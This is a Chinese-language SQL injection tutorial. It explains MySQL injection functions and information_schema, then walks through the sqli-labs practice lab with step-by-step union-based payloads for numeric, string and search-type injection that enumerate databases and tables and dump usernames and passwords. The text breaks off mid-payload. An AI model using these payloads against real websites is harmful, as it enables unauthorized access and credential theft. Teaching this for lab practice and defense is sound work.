一 sql注入基础
1.1 sql注入基础
1.1.1 sql注入简介
SQL注入( SQL injection )是一种将恶意代码插入到程序 SQL 语句中,从而误导数据库执行恶意逻辑的攻击技术。通过 SQL 注入,攻击者可以达到获取敏感信息,窃取访问权限等目的。
1.1.2 sql注入常见函数及重要的数据库
# mysql基础函数
version() MySQL数据库版本
user() 数据库用户名
database() 当前数据库名
@@basedir 数据库安装路径
@@datadir 数据库文件存放路径
@@version_compile_os 操作系统版本
# union联合注入函数
此函数是使用时 只有在前面的函数不正确时才会执行后面的函数
concat(str1,str2,....) 拼接字符串,直接拼接,字符串没有符号
concat_ws(‘separator’, str1, str2, …) 拼接字符串 指定符号【separator】进行拼接
group_concat(username) 将username中的内容以逗号隔开显示出来
# sql盲注函数
1布尔盲注函数
length() 返回指定对象的长度
left()函数和right()函数 对字符串str从左开始数起,返回num个字符(与函数right()相反)
eg left(database(),4) 返回此数据库从左开始的四个字符
substr()函数与substring() 均为截取字符串
eg substr(database(),1,1) 从数据库第一位开始截取1个字符
mid() 与substr()函数用法相同
ascii() / ord() /char() 返回ascii码对应的字符串 返回字符串str在ASCII表所对应的数值
# 时间盲注函数
sleep() 网页延迟n秒后,输出结果
if(a,b,c) 函数 a为判断函数 a为正确返回b 不正确为c
# 报错注入函数
floor() 向下取整 返回小于等于a,且值最接近a的一个整数
rand() 0~1之间的某个值
exp() 函数exp()是以e为底的指数函数
extractvalue() 函数的作用是从目标xml中返回包含所查询值的字符串!
updatexml() 函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值
# 读写文件函数
load_file() 读取文件
# 其他函数
locate()函数 locate(str,string)返回str字符在string字符串中出现的位置,没有返回0 //字符串记得加引号
position()函数 position(str in str)返回str字符在string字符串中出现的位置,没有返回0
instr()函数 instr(string,str)返回str字符串在string中出现的位置,与locate相同,只是参数顺序相反
# information_schema:是MySQL自带的数据库,主要保持MySQL数据库服务器的系统信息,比如数据库的名称,数据库表的名称,字段名称,存储权限等。
@ information_schema 重要的表
● information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名
● information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名
● information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名
# performance_schema:是MySQL系统自带的数据库,可以用来监控MySQL的各类性能指标。
# mysql:保存MySQL的权限、参数、对象和状态信息。
# test:测试数据库。
# schemata表中的 schema_name字段储存的就是数据库的名称(是当前数据库中的所有数据库名称)
# tables :表是用于储存所有表名,其中table_schema:字段是数据库名称 而table_name:字段是表名
# columns :表是储存字段名称,其中table_schema:字段是数据库名称,而table_name:字段是表名 最后column_name:字段是字段名称
# 查询语句
1. // 通过这条语句可以得到所有的数据库名
2. select schema_name from information_schema.schemata limit 0,1
3.
4. // 通过这条语句可以得到所有的数据表名
5. select table_name from information_schema.tables limit 0,1
6. // 通过这条语句可以得到指定security数据库中的所有表名
7. select table_name from information_schema.tables where table_schema='security'limit 0,1
8.
9. // 通过这条语句可以得到所有的列名
10. select column_name from information_schema.columns limit 0,1
11. // 通过这条语句可以得到指定数据库security中的数据表users的所有列名
12. select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
13.
14. //通过这条语句可以得到指定数据表users中指定列password的数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
15. select password from users limit 0,1
1.1.2 sql注入剖析
# 原始PHP代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 访问地址
http://192.168.1.6/sqlilabs/Less-1/?id=1
http://192.168.1.6/sqlilabs/Less-1/?id=1'
http://192.168.1.6/sqlilabs/Less-1/?id=1'--+
http://192.168.1.6/sqlilabs/Less-1/?id=1'恶意数据--+
# PHP代码构造
$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id='1'-- ' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id='1'恶意数据-- ' LIMIT 0,1";
# 备注:SQL的三种注释方式
1. 单行注释
-- 注意:在"--"后与注意内容要有空格隔开才会生效
# 注意: "#"与注释内容之间有没有空格注释效果都会生效
2. 多行注释
/*...*/
3. 内联注释
/*!50534...*/ 注意:为块注释的衍生注释即内联注释,当"!"后的数字小于或等于数据库版本时候才会执行后面的SQL语句
# 判断是否存在sql注入 使用 id=1 进行判断 若是回显内容则存在sql注入漏洞
1.1.3 sql注入判断
sql注入漏洞产生的条件
-
- 参数是用户可控的,也就是前端传入后端的参数的内容是用户可以控制的;
- 参数被带入数据库进行查询,也就是传入的参数被拼接到SQL语句中并被带入到数据库进行查询;
注入判断顺序:判断注入类型--》判断闭合方式--》判断是否存在注入--》注入攻击
1.1.4 sql注入流程
# 注入流程
1. 判断字段数 --> order by group by
2. 确定回显点 --> union select 1,2,3
3. 查询数据库相关信息 --> union select 1,@@version,3 @@basedir / database() / user()
4. 查询数据库下的表信息 --> union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() //or 'databasename'
5. 查询表下的字段信息 --> union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
6. 查询字段内容 --> union select 1,2,group_concat(username , password) from users
7.
补充:使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编码绕过
1.1.5 sql注入分类
1.1.5.1 sql注入按照数据类型的分类
@判断方法
# 数值型判断方法
?id=1
?id=2-1 若是这两个回显内容相同则代表是数字型 反之则为字符型
@数值型注入
# 判断注入
# 判断字段
?id=1 order by 3--+ //正常
?id=1 order by 4--+ //错误
# 确定回显点
?id=-1 UNION SELECT 1,2,3--+ //2,3位置存在字段内容
# 查询数据库相关信息
?id=-1 UNION SELECT 1,CONCAT_WS(user(),database(),version()),3--+
# 查询数据库下的信息
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
# 查询表下的字段信息、
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
# 查询字段内容
?id=-1 union select 1,2,group_concat(username ,id , password) from users--+
查出来的就是登录名和密码
@字符型注入
# 先判断闭合方式
?id=1' 显示报错
?id=1'--+ 不显示报错 则代表闭合方式是'
常见闭合方式 常见闭合:' " ) ') ") ')) }
# 判断字段
?id=1'order by 3--+
?id=1'order by 4--+
# 确定回显点 根据上面得到的字段进行确定
?id=1'union select 1,2,3--+
# 查询数据库相关信息
?id=-1'UNION SELECT 1,CONCAT_WS(user(),database(),version()),3--+
# 查询数据库下的信息
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
# 查询表下的字段信息
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
# 查询字段内容
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
@搜索型注入
# 判断字段
?name=hahaha%'order by 3--+&submit=搜索
?name=hahaha%'order by 4--+&submit=搜索
# 确定回显点
?name=-hahaha%'union select 1,2,3--+&submit=搜索
# 查询数据库相关信息
?name=-hahaha%' UNION SELECT 1,CONCAT_WS(user(),database(),version()),3--+&s